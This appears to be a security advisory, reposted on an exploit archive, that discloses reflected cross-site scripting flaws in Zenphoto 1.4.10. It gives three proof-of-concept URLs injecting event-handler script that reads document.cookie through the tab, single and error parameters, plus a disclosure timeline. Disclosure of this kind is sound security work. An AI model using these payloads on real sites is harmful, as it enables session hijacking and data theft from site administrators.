Zenphoto 1.4.10 Cross Site Scripting Vulnerability

Zenphoto 1.4.10 Cross Site Scripting Vulnerability

Vendor:
====================
www.zenphoto.org

Product:
===================
Zenphoto 1.4.10


Vulnerability Type:
==========================
Cross site scripting - XSS


Vulnerability Details:
======================
Multiple XSS entry points exist allowing arbitrary client side JS code
execution on victims
who click our infected linx. Session ID and data theft may follow as well
as possibility to
bypass CSRF protections, injection of iframes to establish communication
channels etc...

XSS Exploit code(s):
===================

1)
http://localhost/zenphoto-zenphoto-1.4.10/zp-core/admin-plugins.php?tab=%22%22%20onMouseMove=%22alert%28%27XSS%20hyp3rlinx%20Nov%205,%202015\n%27%2bdocument.cookie%29%22%20&page=666


2)
http://localhost/zenphoto-zenphoto-1.4.10/zp-core/admin-options.php?page=options&tab=plugin&single=%22%20onMouseMove=%22alert%28%27XSS%20hyp3rlinx\n%27%2bdocument.cookie%29%22

3)
http://localhost/zenphoto-zenphoto-1.4.10/zp-core/admin.php?msg=hyp3rlinx&action=external&error=%22+onMouseMove%3D%22alert%28%27hyp3rlinx%20\n\n%20%27%2bdocument.cookie%29%3B

Disclosure Timeline:
=====================
Vendor Notification: November 10, 2015
December 1, 2015  : Public Disclosure


Description:
=====================================================
Request Method(s):              [+] GET
Vulnerable Product:             [+] Zenphoto 1.4.10
Vulnerable Parameter(s):        [+] tab, single, error

#  0day.today [2018-01-04]  #